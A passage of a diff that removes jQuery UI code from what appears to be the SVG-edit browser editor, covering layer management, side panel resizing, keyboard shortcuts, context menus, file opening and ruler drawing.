-				colorPicker($('#stroke_color'));
-				updateToolButtonState();
-			});
-			
-			$('#group_opacityLabel').click(function() {
-				$('#opacity_dropdown button').mousedown();
-				$(window).mouseup();
-			});
-			
-			$('#zoomLabel').click(function() {
-				$('#zoom_dropdown button').mousedown();
-				$(window).mouseup();
-			});
-			
-			$('#tool_move_top').mousedown(function(evt){
-				$('#tools_stacking').show();
-				evt.preventDefault();
-			});
-			
-			$('.layer_button').mousedown(function() { 
-				$(this).addClass('layer_buttonpressed');
-			}).mouseout(function() {
-				$(this).removeClass('layer_buttonpressed');
-			}).mouseup(function() {
-				$(this).removeClass('layer_buttonpressed');
-			});
-		
-			$('.push_button').mousedown(function() { 
-				if (!$(this).hasClass('disabled')) {
-					$(this).addClass('push_button_pressed').removeClass('push_button');
-				}
-			}).mouseout(function() {
-				$(this).removeClass('push_button_pressed').addClass('push_button');
-			}).mouseup(function() {
-				$(this).removeClass('push_button_pressed').addClass('push_button');
-			});
-			
-			$('#layer_new').click(function() {
-				var i = svgCanvas.getCurrentDrawing().getNumLayers();
-				do {
-					var uniqName = uiStrings.layers.layer + " " + ++i;
-				} while(svgCanvas.getCurrentDrawing().hasLayer(uniqName));
-				
-				$.prompt(uiStrings.notification.enterUniqueLayerName,uniqName, function(newName) {
-					if (!newName) return;
-					if (svgCanvas.getCurrentDrawing().hasLayer(newName)) {
-						$.alert(uiStrings.notification.dupeLayerName);
-						return;
-					}
-					svgCanvas.createLayer(newName);
-					updateContextPanel();
-					populateLayers();
-				});
-			});
-			
-			function deleteLayer() {
-				if (svgCanvas.deleteCurrentLayer()) {
-					updateContextPanel();
-					populateLayers();
-					// This matches what SvgCanvas does
-					// TODO: make this behavior less brittle (svg-editor should get which
-					// layer is selected from the canvas and then select that one in the UI)
-					$('#layerlist tr.layer').removeClass("layersel");
-					$('#layerlist tr.layer:first').addClass("layersel");
-				}
-			}
-			
-			function cloneLayer() {
-				var name = svgCanvas.getCurrentDrawing().getCurrentLayerName() + ' copy';
-				
-				$.prompt(uiStrings.notification.enterUniqueLayerName, name, function(newName) {
-					if (!newName) return;
-					if (svgCanvas.getCurrentDrawing().hasLayer(newName)) {
-						$.alert(uiStrings.notification.dupeLayerName);
-						return;
-					}
-					svgCanvas.cloneLayer(newName);
-					updateContextPanel();
-					populateLayers();
-				});
-			}
-			
-			function mergeLayer() {
-				if($('#layerlist tr.layersel').index() == svgCanvas.getCurrentDrawing().getNumLayers()-1) return;
-				svgCanvas.mergeLayer();
-				updateContextPanel();
-				populateLayers();
-			}
-			
-			function moveLayer(pos) {
-				var curIndex = $('#layerlist tr.layersel').index();
-				var total = svgCanvas.getCurrentDrawing().getNumLayers();
-				if(curIndex > 0 || curIndex < total-1) {
-					curIndex += pos;
-					svgCanvas.setCurrentLayerPosition(total-curIndex-1);
-					populateLayers();
-				}
-			}
-		
-			$('#layer_delete').click(deleteLayer);
-			
-			$('#layer_up').click(function() {
-				moveLayer(-1);
-			});
-		
-			$('#layer_down').click(function() {
-				moveLayer(1);
-			});
-		
-			$('#layer_rename').click(function() {
-				var curIndex = $('#layerlist tr.layersel').prevAll().length;
-				var oldName = $('#layerlist tr.layersel td.layername').text();
-				$.prompt(uiStrings.notification.enterNewLayerName,"", function(newName) {
-					if (!newName) return;
-					if (oldName == newName || svgCanvas.getCurrentDrawing().hasLayer(newName)) {
-						$.alert(uiStrings.notification.layerHasThatName);
-						return;
-					}
-					
-					svgCanvas.renameCurrentLayer(newName);
-					populateLayers();
-				});
-			});
-			
-			var SIDEPANEL_MAXWIDTH = 300;
-			var SIDEPANEL_OPENWIDTH = 150;
-			var sidedrag = -1, sidedragging = false, allowmove = false;
-				
-			var resizePanel = function(evt) {
-				if (!allowmove) return;
-				if (sidedrag == -1) return;
-				sidedragging = true;
-				var deltax = sidedrag - evt.pageX;
-				
-				var sidepanels = $('#sidepanels');
-				var sidewidth = parseInt(sidepanels.css('width'));
-				if (sidewidth+deltax > SIDEPANEL_MAXWIDTH) {
-					deltax = SIDEPANEL_MAXWIDTH - sidewidth;
-					sidewidth = SIDEPANEL_MAXWIDTH;
-				}
-				else if (sidewidth+deltax < 2) {
-					deltax = 2 - sidewidth;
-					sidewidth = 2;
-				}
-	
-				if (deltax == 0) return;
-				sidedrag -= deltax;
-	
-				var layerpanel = $('#layerpanel');
-				workarea.css('right', parseInt(workarea.css('right'))+deltax);
-				sidepanels.css('width', parseInt(sidepanels.css('width'))+deltax);
-				layerpanel.css('width', parseInt(layerpanel.css('width'))+deltax);
-				var ruler_x = $('#ruler_x');
-				ruler_x.css('right', parseInt(ruler_x.css('right')) + deltax);
-			}
-			
-			$('#sidepanel_handle')
-				.mousedown(function(evt) {
-					sidedrag = evt.pageX;
-					$(window).mousemove(resizePanel);
-					allowmove = false;
-					// Silly hack for Chrome, which always runs mousemove right after mousedown
-					setTimeout(function() {
-						allowmove = true;
-					}, 20);
-				})
-				.mouseup(function(evt) {
-					if (!sidedragging) toggleSidePanel();
-					sidedrag = -1;
-					sidedragging = false;
-				});
-
-			$(window).mouseup(function() {
-				sidedrag = -1;
-				sidedragging = false;
-				$('#svg_editor').unbind('mousemove', resizePanel);
-			});
-			
-			// if width is non-zero, then fully close it, otherwise fully open it
-			// the optional close argument forces the side panel closed
-			var toggleSidePanel = function(close){
-				var w = parseInt($('#sidepanels').css('width'));
-				var deltax = (w > 2 || close ? 2 : SIDEPANEL_OPENWIDTH) - w;
-				var sidepanels = $('#sidepanels');
-				var layerpanel = $('#layerpanel');
-				var ruler_x = $('#ruler_x');
-				workarea.css('right', parseInt(workarea.css('right')) + deltax);
-				sidepanels.css('width', parseInt(sidepanels.css('width')) + deltax);
-				layerpanel.css('width', parseInt(layerpanel.css('width')) + deltax);
-				ruler_x.css('right', parseInt(ruler_x.css('right')) + deltax);
-			};
-			
-			// this function highlights the layer passed in (by fading out the other layers)
-			// if no layer is passed in, this function restores the other layers
-			var toggleHighlightLayer = function(layerNameToHighlight) {
-				var curNames = new Array(svgCanvas.getCurrentDrawing().getNumLayers());
-				for (var i = 0; i < curNames.length; ++i) { curNames[i] = svgCanvas.getCurrentDrawing().getLayerName(i); }
-			
-				if (layerNameToHighlight) {
-					for (var i = 0; i < curNames.length; ++i) {
-						if (curNames[i] != layerNameToHighlight) {
-							svgCanvas.getCurrentDrawing().setLayerOpacity(curNames[i], 0.5);
-						}
-					}
-				}
-				else {
-					for (var i = 0; i < curNames.length; ++i) {
-						svgCanvas.getCurrentDrawing().setLayerOpacity(curNames[i], 1.0);
-					}
-				}
-			};
-		
-			var populateLayers = function(){
-				var layerlist = $('#layerlist tbody');
-				var selLayerNames = $('#selLayerNames');
-				layerlist.empty();
-				selLayerNames.empty();
-				var currentLayerName = svgCanvas.getCurrentDrawing().getCurrentLayerName();
-				var layer = svgCanvas.getCurrentDrawing().getNumLayers();
-				var icon = $.getSvgIcon('eye');
-				// we get the layers in the reverse z-order (the layer rendered on top is listed first)
-				while (layer--) {
-					var name = svgCanvas.getCurrentDrawing().getLayerName(layer);
-					// contenteditable=\"true\"
-					var appendstr = "<tr class=\"layer";
-					if (name == currentLayerName) {
-						appendstr += " layersel"
-					}
-					appendstr += "\">";
-					
-					if (svgCanvas.getCurrentDrawing().getLayerVisibility(name)) {
-						appendstr += "<td class=\"layervis\"/><td class=\"layername\" >" + name + "</td></tr>";
-					}
-					else {
-						appendstr += "<td class=\"layervis layerinvis\"/><td class=\"layername\" >" + name + "</td></tr>";
-					}
-					layerlist.append(appendstr);
-					selLayerNames.append("<option value=\"" + name + "\">" + name + "</option>");
-				}
-				if(icon !== undefined) {
-					var copy = icon.clone();
-					$('td.layervis',layerlist).append(icon.clone());
-					$.resizeSvgIcons({'td.layervis .svg_icon':14});
-				}
-				// handle selection of layer
-				$('#layerlist td.layername')
-					.mouseup(function(evt){
-						$('#layerlist tr.layer').removeClass("layersel");
-						var row = $(this.parentNode);
-						row.addClass("layersel");
-						svgCanvas.setCurrentLayer(this.textContent);
-						evt.preventDefault();
-					})
-					.mouseover(function(evt){
-						$(this).css({"font-style": "italic", "color":"blue"});
-						toggleHighlightLayer(this.textContent);
-					})
-					.mouseout(function(evt){
-						$(this).css({"font-style": "normal", "color":"black"});
-						toggleHighlightLayer();
-					});
-				$('#layerlist td.layervis').click(function(evt){
-					var row = $(this.parentNode).prevAll().length;
-					var name = $('#layerlist tr.layer:eq(' + row + ') td.layername').text();
-					var vis = $(this).hasClass('layerinvis');
-					svgCanvas.setLayerVisibility(name, vis);
-					if (vis) {
-						$(this).removeClass('layerinvis');
-					}
-					else {
-						$(this).addClass('layerinvis');
-					}
-				});
-				
-				// if there were too few rows, let's add a few to make it not so lonely
-				var num = 5 - $('#layerlist tr.layer').size();
-				while (num-- > 0) {
-					// FIXME: there must a better way to do this
-					layerlist.append("<tr><td style=\"color:white\">_</td><td/></tr>");
-				}
-			};
-			populateLayers();
-		
-		// 	function changeResolution(x,y) {
-		// 		var zoom = svgCanvas.getResolution().zoom;
-		// 		setResolution(x * zoom, y * zoom);
-		// 	}
-			
-			var centerCanvas = function() {
-				// this centers the canvas vertically in the workarea (horizontal handled in CSS)
-				workarea.css('line-height', workarea.height() + 'px');
-			};
-			
-			$(window).bind('load resize', centerCanvas);
-		
-			function stepFontSize(elem, step) {
-				var orig_val = elem.value-0;
-				var sug_val = orig_val + step;
-				var increasing = sug_val >= orig_val;
-				if(step === 0) return orig_val;
-				
-				if(orig_val >= 24) {
-					if(increasing) {
-						return Math.round(orig_val * 1.1);
-					} else {
-						return Math.round(orig_val / 1.1);
-					}
-				} else if(orig_val <= 1) {
-					if(increasing) {
-						return orig_val * 2;			
-					} else {
-						return orig_val / 2;
-					}
-				} else {
-					return sug_val;
-				}
-			}
-			
-			function stepZoom(elem, step) {
-				var orig_val = elem.value-0;
-				if(orig_val === 0) return 100;
-				var sug_val = orig_val + step;
-				if(step === 0) return orig_val;
-				
-				if(orig_val >= 100) {
-					return sug_val;
-				} else {
-					if(sug_val >= orig_val) {
-						return orig_val * 2;
-					} else {
-						return orig_val / 2;
-					}
-				}
-			}
-			
-		// 	function setResolution(w, h, center) {
-		// 		updateCanvas();
-		// // 		w-=0; h-=0;
-		// // 		$('#svgcanvas').css( { 'width': w, 'height': h } );
-		// // 		$('#canvas_width').val(w);
-		// // 		$('#canvas_height').val(h);
-		// // 
-		// // 		if(center) {
-		// // 			var w_area = workarea;
-		// // 			var scroll_y = h/2 - w_area.height()/2;
-		// // 			var scroll_x = w/2 - w_area.width()/2;
-		// // 			w_area[0].scrollTop = scroll_y;
-		// // 			w_area[0].scrollLeft = scroll_x;
-		// // 		}
-		// 	}
-		
-			$('#resolution').change(function(){
-				var wh = $('#canvas_width,#canvas_height');
-				if(!this.selectedIndex) {
-					if($('#canvas_width').val() == 'fit') {
-						wh.removeAttr("disabled").val(100);
-					}
-				} else if(this.value == 'content') {
-					wh.val('fit').attr("disabled","disabled");
-				} else {
-					var dims = this.value.split('x');
-					$('#canvas_width').val(dims[0]);
-					$('#canvas_height').val(dims[1]);
-					wh.removeAttr("disabled");
-				}
-			});
-		
-			//Prevent browser from erroneously repopulating fields
-			$('input,select').attr("autocomplete","off");
-			
-			// Associate all button actions as well as non-button keyboard shortcuts
-			var Actions = function() {
-				// sel:'selector', fn:function, evt:'event', key:[key, preventDefault, NoDisableInInput]
-				var tool_buttons = [
-					{sel:'#tool_select', fn: clickSelect, evt: 'click', key: ['V', true]},
-					{sel:'#tool_fhpath', fn: clickFHPath, evt: 'click', key: ['Q', true]},
-					{sel:'#tool_line', fn: clickLine, evt: 'click', key: ['L', true]},
-					{sel:'#tool_rect', fn: clickRect, evt: 'mouseup', key: ['R', true], parent: '#tools_rect', icon: 'rect'},
-					{sel:'#tool_square', fn: clickSquare, evt: 'mouseup', parent: '#tools_rect', icon: 'square'},
-					{sel:'#tool_fhrect', fn: clickFHRect, evt: 'mouseup', parent: '#tools_rect', icon: 'fh_rect'},
-					{sel:'#tool_ellipse', fn: clickEllipse, evt: 'mouseup', key: ['E', true], parent: '#tools_ellipse', icon: 'ellipse'},
-					{sel:'#tool_circle', fn: clickCircle, evt: 'mouseup', parent: '#tools_ellipse', icon: 'circle'},
-					{sel:'#tool_fhellipse', fn: clickFHEllipse, evt: 'mouseup', parent: '#tools_ellipse', icon: 'fh_ellipse'},
-					{sel:'#tool_path', fn: clickPath, evt: 'click', key: ['P', true]},
-					{sel:'#tool_text', fn: clickText, evt: 'click', key: ['T', true]},
-					{sel:'#tool_image', fn: clickImage, evt: 'mouseup'},
-					{sel:'#tool_zoom', fn: clickZoom, evt: 'mouseup', key: ['Z', true]},
-					{sel:'#tool_clear', fn: clickClear, evt: 'mouseup', key: ['N', true]},
-					{sel:'#tool_save', fn: function() { editingsource?saveSourceEditor():clickSave()}, evt: 'mouseup', key: ['S', true]},
-					{sel:'#tool_export', fn: clickExport, evt: 'mouseup'},
-					{sel:'#tool_open', fn: clickOpen, evt: 'mouseup', key: ['O', true]},
-					{sel:'#tool_import', fn: clickImport, evt: 'mouseup'},
-					{sel:'#tool_source', fn: showSourceEditor, evt: 'click', key: ['U', true]},
-					{sel:'#tool_wireframe', fn: clickWireframe, evt: 'click', key: ['F', true]},
-					{sel:'#tool_source_cancel,#svg_source_overlay,#tool_docprops_cancel,#tool_prefs_cancel', fn: cancelOverlays, evt: 'click', key: ['esc', false, false], hidekey: true},
-					{sel:'#tool_source_save', fn: saveSourceEditor, evt: 'click'},
-					{sel:'#tool_docprops_save', fn: saveDocProperties, evt: 'click'},
-					{sel:'#tool_docprops', fn: showDocProperties, evt: 'mouseup'},
-					{sel:'#tool_prefs_save', fn: savePreferences, evt: 'click'},
-					{sel:'#tool_prefs_option', fn: function() {showPreferences();return false}, evt: 'mouseup'},
-					{sel:'#tool_delete,#tool_delete_multi', fn: deleteSelected, evt: 'click', key: ['del/backspace', true]},
-					{sel:'#tool_reorient', fn: reorientPath, evt: 'click'},
-					{sel:'#tool_node_link', fn: linkControlPoints, evt: 'click'},
-					{sel:'#tool_node_clone', fn: clonePathNode, evt: 'click'},
-					{sel:'#tool_node_delete', fn: deletePathNode, evt: 'click'},
-					{sel:'#tool_openclose_path', fn: opencloseSubPath, evt: 'click'},
-					{sel:'#tool_add_subpath', fn: addSubPath, evt: 'click'},
-					{sel:'#tool_move_top', fn: moveToTopSelected, evt: 'click', key: 'ctrl+shift+]'},
-					{sel:'#tool_move_bottom', fn: moveToBottomSelected, evt: 'click', key: 'ctrl+shift+['},
-					{sel:'#tool_topath', fn: convertToPath, evt: 'click'},
-					{sel:'#tool_make_link,#tool_make_link_multi', fn: makeHyperlink, evt: 'click'},
-					{sel:'#tool_undo', fn: clickUndo, evt: 'click', key: ['Z', true]},
-					{sel:'#tool_redo', fn: clickRedo, evt: 'click', key: ['Y', true]},
-					{sel:'#tool_clone,#tool_clone_multi', fn: clickClone, evt: 'click', key: ['D', true]},
-					{sel:'#tool_group', fn: clickGroup, evt: 'click', key: ['G', true]},
-					{sel:'#tool_ungroup', fn: clickGroup, evt: 'click'},
-					{sel:'#tool_unlink_use', fn: clickGroup, evt: 'click'},
-					{sel:'[id^=tool_align]', fn: clickAlign, evt: 'click'},
-					// these two lines are required to make Opera work properly with the flyout mechanism
-		// 			{sel:'#tools_rect_show', fn: clickRect, evt: 'click'},
-		// 			{sel:'#tools_ellipse_show', fn: clickEllipse, evt: 'click'},
-					{sel:'#tool_bold', fn: clickBold, evt: 'mousedown'},
-					{sel:'#tool_italic', fn: clickItalic, evt: 'mousedown'},
-					{sel:'#sidepanel_handle', fn: toggleSidePanel, key: ['X']},
-					{sel:'#copy_save_done', fn: cancelOverlays, evt: 'click'},
-					
-					// Shortcuts not associated with buttons
-					
-					{key: 'ctrl+left', fn: function(){rotateSelected(0,1)}},
-					{key: 'ctrl+right', fn: function(){rotateSelected(1,1)}},
-					{key: 'ctrl+shift+left', fn: function(){rotateSelected(0,5)}},					
-					{key: 'ctrl+shift+right', fn: function(){rotateSelected(1,5)}},
-					{key: 'shift+O', fn: selectPrev},
-					{key: 'shift+P', fn: selectNext},
-					{key: [modKey+'up', true], fn: function(){zoomImage(2);}},
-					{key: [modKey+'down', true], fn: function(){zoomImage(.5);}},
-					{key: [modKey+']', true], fn: function(){moveUpDownSelected('Up');}},
-                                        {key: [modKey+'[', true], fn: function(){moveUpDownSelected('Down');}},
-					{key: ['up', true], fn: function(){moveSelected(0,-1);}},
-					{key: ['down', true], fn: function(){moveSelected(0,1);}},
-					{key: ['left', true], fn: function(){moveSelected(-1,0);}},
-					{key: ['right', true], fn: function(){moveSelected(1,0);}},
-					{key: 'shift+up', fn: function(){moveSelected(0,-10)}},
-					{key: 'shift+down', fn: function(){moveSelected(0,10)}},
-					{key: 'shift+left', fn: function(){moveSelected(-10,0)}},
-					{key: 'shift+right', fn: function(){moveSelected(10,0)}},
-					{key: ['alt+up', true], fn: function(){svgCanvas.cloneSelectedElements(0,-1)}},
-					{key: ['alt+down', true], fn: function(){svgCanvas.cloneSelectedElements(0,1)}},
-					{key: ['alt+left', true], fn: function(){svgCanvas.cloneSelectedElements(-1,0)}},
-					{key: ['alt+right', true], fn: function(){svgCanvas.cloneSelectedElements(1,0)}},
-					{key: ['alt+shift+up', true], fn: function(){svgCanvas.cloneSelectedElements(0,-10)}},
-					{key: ['alt+shift+down', true], fn: function(){svgCanvas.cloneSelectedElements(0,10)}},
-					{key: ['alt+shift+left', true], fn: function(){svgCanvas.cloneSelectedElements(-10,0)}},
-					{key: ['alt+shift+right', true], fn: function(){svgCanvas.cloneSelectedElements(10,0)}},	
-					{key: 'A', fn: function(){svgCanvas.selectAllInCurrentLayer();}},
-
-					// Standard shortcuts
-					{key: modKey+'z', fn: clickUndo},
-					{key: modKey + 'shift+z', fn: clickRedo},
-					{key: modKey + 'y', fn: clickRedo},
-					
-					{key: modKey+'x', fn: cutSelected},
-					{key: modKey+'c', fn: copySelected},
-					{key: modKey+'v', fn: pasteInCenter}
-					
-
-				];
-				
-				// Tooltips not directly associated with a single function
-				var key_assocs = {
-					'4/Shift+4': '#tools_rect_show',
-					'5/Shift+5': '#tools_ellipse_show'
-				};
-			
-				return {
-					setAll: function() {
-						var flyouts = {};
-						
-						$.each(tool_buttons, function(i, opts)  {				
-							// Bind function to button
-							if(opts.sel) {
-								var btn = $(opts.sel);
-								if (btn.length == 0) return true; // Skip if markup does not exist
-								if(opts.evt) {
-									btn[opts.evt](opts.fn);
-								}
-		
-								// Add to parent flyout menu, if able to be displayed
-								if(opts.parent && $(opts.parent + '_show').length != 0) {
-									var f_h = $(opts.parent);
-									if(!f_h.length) {
-										f_h = makeFlyoutHolder(opts.parent.substr(1));
-									}
-									
-									f_h.append(btn);
-									
-									if(!$.isArray(flyouts[opts.parent])) {
-										flyouts[opts.parent] = [];
-									}
-									flyouts[opts.parent].push(opts);
-								}
-							}
-							
-							
-							// Bind function to shortcut key
-							if(opts.key) {
-								// Set shortcut based on options
-								var keyval, shortcut = '', disInInp = true, fn = opts.fn, pd = false;
-								if($.isArray(opts.key)) {
-									keyval = opts.key[0];
-									if(opts.key.length > 1) pd = opts.key[1];
-									if(opts.key.length > 2) disInInp = opts.key[2];
-								} else {
-									keyval = opts.key;
-								}
-								keyval += '';
-								
-								$.each(keyval.split('/'), function(i, key) {
-									$(document).bind('keydown', key, function(e) {
-										fn();
-										if(pd) {
-											e.preventDefault();
-										}
-										// Prevent default on ALL keys?
-										return false;
-									});
-								});
-								
-								// Put shortcut in title
-								if(opts.sel && !opts.hidekey) {
-									var new_title = btn.attr('title').split('[')[0] + ' (' + keyval + ')';
-									key_assocs[keyval] = opts.sel;
-									// Disregard for menu items
-									if(!btn.parents('#main_menu').length) {
-										btn.attr('title', new_title);
-									}
-								}
-							}
-						});
-						
-						// Setup flyouts
-						setupFlyouts(flyouts);
-						
-						
-						// Misc additional actions
-						
-						// Make "return" keypress trigger the change event
-						$('.attr_changer, #image_url').bind('keydown', 'return', 
-							function(evt) {$(this).change();evt.preventDefault();}
-						);
-						
-						$(window).bind('keydown', 'tab', function(e) {
-							if(ui_context === 'canvas') {
-								e.preventDefault();
-								selectNext();
-							}
-						}).bind('keydown', 'shift+tab', function(e) {
-							if(ui_context === 'canvas') {
-								e.preventDefault();
-								selectPrev();
-							}
-						});
-						
-						$('#tool_zoom').dblclick(dblclickZoom);
-					},
-					setTitles: function() {
-						$.each(key_assocs, function(keyval, sel)  {
-							var menu = ($(sel).parents('#main_menu').length);
-						
-							$(sel).each(function() {
-								if(menu) {
-									var t = $(this).text().split(' [')[0];
-								} else {
-									var t = this.title.split(' [')[0];							
-								}
-								var key_str = '';
-								// Shift+Up
-								$.each(keyval.split('/'), function(i, key) {
-									var mod_bits = key.split('+'), mod = '';
-									if(mod_bits.length > 1) {
-										mod = mod_bits[0] + '+';
-										key = mod_bits[1];
-									}
-									key_str += (i?'/':'') + mod + (uiStrings['key_'+key] || key);
-								});
-								if(menu) {
-									this.lastChild.textContent = t +' ['+key_str+']';
-								} else {
-									this.title = t +' ['+key_str+']';
-								}
-							});
-						});
-					},
-					getButtonData: function(sel) {
-						var b;
-						$.each(tool_buttons, function(i, btn) {
-							if(btn.sel === sel) b = btn;
-						});
-						return b;
-					}
-				};
-			}();
-			
-			Actions.setAll();
-			
-			// Select given tool
-			Editor.ready(function() {
-				var tool,
-					itool = curConfig.initTool,
-					container = $("#tools_left, #svg_editor .tools_flyout"),
-					pre_tool = container.find("#tool_" + itool),
-					reg_tool = container.find("#" + itool);
-				if(pre_tool.length) {
-					tool = pre_tool;
-				} else if(reg_tool.length){
-					tool = reg_tool;
-				} else {
-					tool = $("#tool_select");
-				}
-				tool.click().mouseup();
-				
-				if(curConfig.wireframe) {
-					$('#tool_wireframe').click();
-				}
-				
-				if(curConfig.showlayers) {
-					toggleSidePanel();
-				}
-				
-				$('#rulers').toggle(!!curConfig.showRulers);
-				
-				if (curConfig.showRulers) {
-					$('#show_rulers')[0].checked = true;	
-				}
-
-				if(curConfig.gridSnapping) {
-					$('#grid_snapping_on')[0].checked = true;
-				}
-
-				if(curConfig.baseUnit) {
-					$('#base_unit').val(curConfig.baseUnit);
-				}
-				
-				if(curConfig.snappingStep) {
-					$('#grid_snapping_step').val(curConfig.snappingStep);
-				}
-			});
-			
-			$('#rect_rx').SpinButton({ min: 0, max: 1000, step: 1, callback: changeRectRadius });
-			$('#stroke_width').SpinButton({ min: 0, max: 99, step: 1, smallStep: 0.1, callback: changeStrokeWidth });
-			$('#angle').SpinButton({ min: -180, max: 180, step: 5, callback: changeRotationAngle });
-			$('#font_size').SpinButton({ step: 1, min: 0.001, stepfunc: stepFontSize, callback: changeFontSize });
-			$('#group_opacity').SpinButton({ step: 5, min: 0, max: 100, callback: changeOpacity });
-			$('#blur').SpinButton({ step: .1, min: 0, max: 10, callback: changeBlur });
-			$('#zoom').SpinButton({ min: 0.001, max: 10000, step: 50, stepfunc: stepZoom, callback: changeZoom })
-				// Set default zoom 
-				.val(svgCanvas.getZoom() * 100);
-			
-			$("#workarea").contextMenu({
-					menu: 'cmenu_canvas',
-					inSpeed: 0
-				},
-				function(action, el, pos) {
-					switch ( action ) {
-						case 'delete':
-							deleteSelected();
-							break;
-						case 'cut':
-							cutSelected();
-							break;
-						case 'copy':
-							copySelected();
-							break;
-						case 'paste':
-							svgCanvas.pasteElements();
-							break;
-						case 'paste_in_place':
-							svgCanvas.pasteElements('in_place');
-							break;
-						case 'group':
-							svgCanvas.groupSelectedElements();
-							break;
-						case 'ungroup':         
-							svgCanvas.ungroupSelectedElement();  
-							break;
-						case 'move_front':
-							moveToTopSelected();
-							break;
-						case 'move_up':
-							moveUpDownSelected('Up');
-							break;
-						case 'move_down':
-							moveUpDownSelected('Down');
-							break;
-						case 'move_back':
-							moveToBottomSelected();
-							break;
-
-					}
-					
-					if(svgCanvas.clipBoard.length) {
-						canv_menu.enableContextMenuItems('#paste,#paste_in_place');
-					}
-			});
-			
-			var lmenu_func = function(action, el, pos) {
-				switch ( action ) {
-					case 'dupe':
-						cloneLayer();
-						break;
-					case 'delete':
-						deleteLayer();
-						break;
-					case 'merge_down':
-						mergeLayer();
-						break;
-					case 'merge_all':
-						svgCanvas.mergeAllLayers();
-						updateContextPanel();
-						populateLayers();
-						break;
-				}
-			}
-			
-			$("#layerlist").contextMenu({
-					menu: 'cmenu_layers',
-					inSpeed: 0
-				},
-				lmenu_func
-			);
-			
-			$("#layer_moreopts").contextMenu({
-					menu: 'cmenu_layers',
-					inSpeed: 0,
-					allowLeft: true
-				},
-				lmenu_func
-			);
-			
-			$('.contextMenu li').mousedown(function(ev) {
-				ev.preventDefault();
-			})
-			
-			$('#cmenu_canvas li').disableContextMenu();
-			canv_menu.enableContextMenuItems('#delete,#cut,#copy');
-			
-			window.onbeforeunload = function() { 
-				// Suppress warning if page is empty 
-				if(undoMgr.getUndoStackSize() === 0) {
-					show_save_warning = false;
-				}
-
-				// show_save_warning is set to "false" when the page is saved.
-				if(!curConfig.no_save_warning && show_save_warning) {
-					// Browser already asks question about closing the page
-					return uiStrings.notification.unsavedChanges; 
-				}
-			};
-			
-			Editor.openPrep = function(func) {
-				$('#main_menu').hide();
-				if(undoMgr.getUndoStackSize() === 0) {
-					func(true);
-				} else {
-					$.confirm(uiStrings.notification.QwantToOpen, func);
-				}
-			}
-			
-			// use HTML5 File API: http://www.w3.org/TR/FileAPI/
-			// if browser has HTML5 File API support, then we will show the open menu item
-			// and provide a file input to click.  When that change event fires, it will
-			// get the text contents of the file and send it to the canvas
-			if (window.FileReader) {
-				var inp = $('<input type="file">').change(function() {
-					var f = this;
-					Editor.openPrep(function(ok) {
-						if(!ok) return;
-						svgCanvas.clear();
-						if(f.files.length==1) {
-							var reader = new FileReader();
-							reader.onloadend = function(e) {
-								loadSvgString(e.target.result);
-								updateCanvas();
-							};
-							reader.readAsText(f.files[0]);
-						}
-					});
-				});
-				$("#tool_open").show().prepend(inp);
-				var inp2 = $('<input type="file">').change(function() {
-					$('#main_menu').hide();
-					if(this.files.length==1) {
-						var reader = new FileReader();
-						reader.onloadend = function(e) {
-							svgCanvas.importSvgString(e.target.result, true);
-							updateCanvas();
-						};
-						reader.readAsText(this.files[0]);
-					}
-				});
-				$("#tool_import").show().prepend(inp2);
-			}
-			
-			var updateCanvas = Editor.updateCanvas = function(center, new_ctr) {
-		
-				var w = workarea.width(), h = workarea.height();
-				var w_orig = w, h_orig = h;
-				var zoom = svgCanvas.getZoom();
-				var w_area = workarea;
-				var cnvs = $("#svgcanvas");
-				
-				var old_ctr = {
-					x: w_area[0].scrollLeft + w_orig/2,
-					y: w_area[0].scrollTop + h_orig/2
-				};
-				
-				var multi = curConfig.canvas_expansion;
-				w = Math.max(w_orig, svgCanvas.contentW * zoom * multi);
-				h = Math.max(h_orig, svgCanvas.contentH * zoom * multi);
-				
-				if(w == w_orig && h == h_orig) {
-					workarea.css('overflow','hidden');
-				} else {
-					workarea.css('overflow','scroll');
-				}
-				
-				var old_can_y = cnvs.height()/2;
-				var old_can_x = cnvs.width()/2;
-				cnvs.width(w).height(h);
-				var new_can_y = h/2;
-				var new_can_x = w/2;
-				var offset = svgCanvas.updateCanvas(w, h);
-				
-				var ratio = new_can_x / old_can_x;
-		
-				var scroll_x = w/2 - w_orig/2;
-				var scroll_y = h/2 - h_orig/2;
-				
-				if(!new_ctr) {
-		
-					var old_dist_x = old_ctr.x - old_can_x;
-					var new_x = new_can_x + old_dist_x * ratio;
-		
-					var old_dist_y = old_ctr.y - old_can_y;
-					var new_y = new_can_y + old_dist_y * ratio;
-		
-					new_ctr = {
-						x: new_x,
-						y: new_y
-					};
-					
-				} else {
-					new_ctr.x += offset.x,
-					new_ctr.y += offset.y;
-				}
-				
-				if(center) {
-					// Go to top-left for larger documents
-					if(svgCanvas.contentW > w_area.width()) {
-						// Top-left
-						workarea[0].scrollLeft = offset.x - 10;
-						workarea[0].scrollTop = offset.y - 10;
-					} else {
-						// Center
-						w_area[0].scrollLeft = scroll_x;
-						w_area[0].scrollTop = scroll_y;
-					}
-				} else {
-					w_area[0].scrollLeft = new_ctr.x - w_orig/2;
-					w_area[0].scrollTop = new_ctr.y - h_orig/2;
-				}
-				if(curConfig.showRulers) {
-					updateRulers(cnvs, zoom);
-					workarea.scroll();
-				}
-			}
-			
-			// Make [1,2,5] array
-			var r_intervals = [];
-			for(var i = .1; i < 1E5; i *= 10) {
-				r_intervals.push(1 * i);
-				r_intervals.push(2 * i);
-				r_intervals.push(5 * i);
-			}
-			
-			function updateRulers(scanvas, zoom) {
-				if(!zoom) zoom = svgCanvas.getZoom();
-				if(!scanvas) scanvas = $("#svgcanvas");
-				
-				var limit = 30000;
-				
-				var c_elem = svgCanvas.getContentElem();
-				
-				var units = svgedit.units.getTypeMap();
-				var unit = units[curConfig.baseUnit]; // 1 = 1px
-			
-				for(var d = 0; d < 2; d++) {
-					var is_x = (d === 0);
-					var dim = is_x ? 'x' : 'y';
-					var lentype = is_x?'width':'height';
-					var content_d = c_elem.getAttribute(dim)-0;
-					
-					var $hcanv_orig = $('#ruler_' + dim + ' canvas:first');
-					
-					// Bit of a hack to fully clear the canvas in Safari & IE9
-					$hcanv = $hcanv_orig.clone();
-					$hcanv_orig.replaceWith($hcanv);
-					
-					var hcanv = $hcanv[0];
-					
-					// Set the canvas size to the width of the container
-					var ruler_len = scanvas[lentype]();
-					var total_len = ruler_len;
-					hcanv.parentNode.style[lentype] = total_len + 'px';
-					
-					
-					var canv_count = 1;
-					var ctx_num = 0;
-					var ctx_arr;
-					var ctx = hcanv.getContext("2d");
-					
-					ctx.fillStyle = "rgb(200,0,0)"; 
-					ctx.fillRect(0,0,hcanv.width,hcanv.height); 
-					
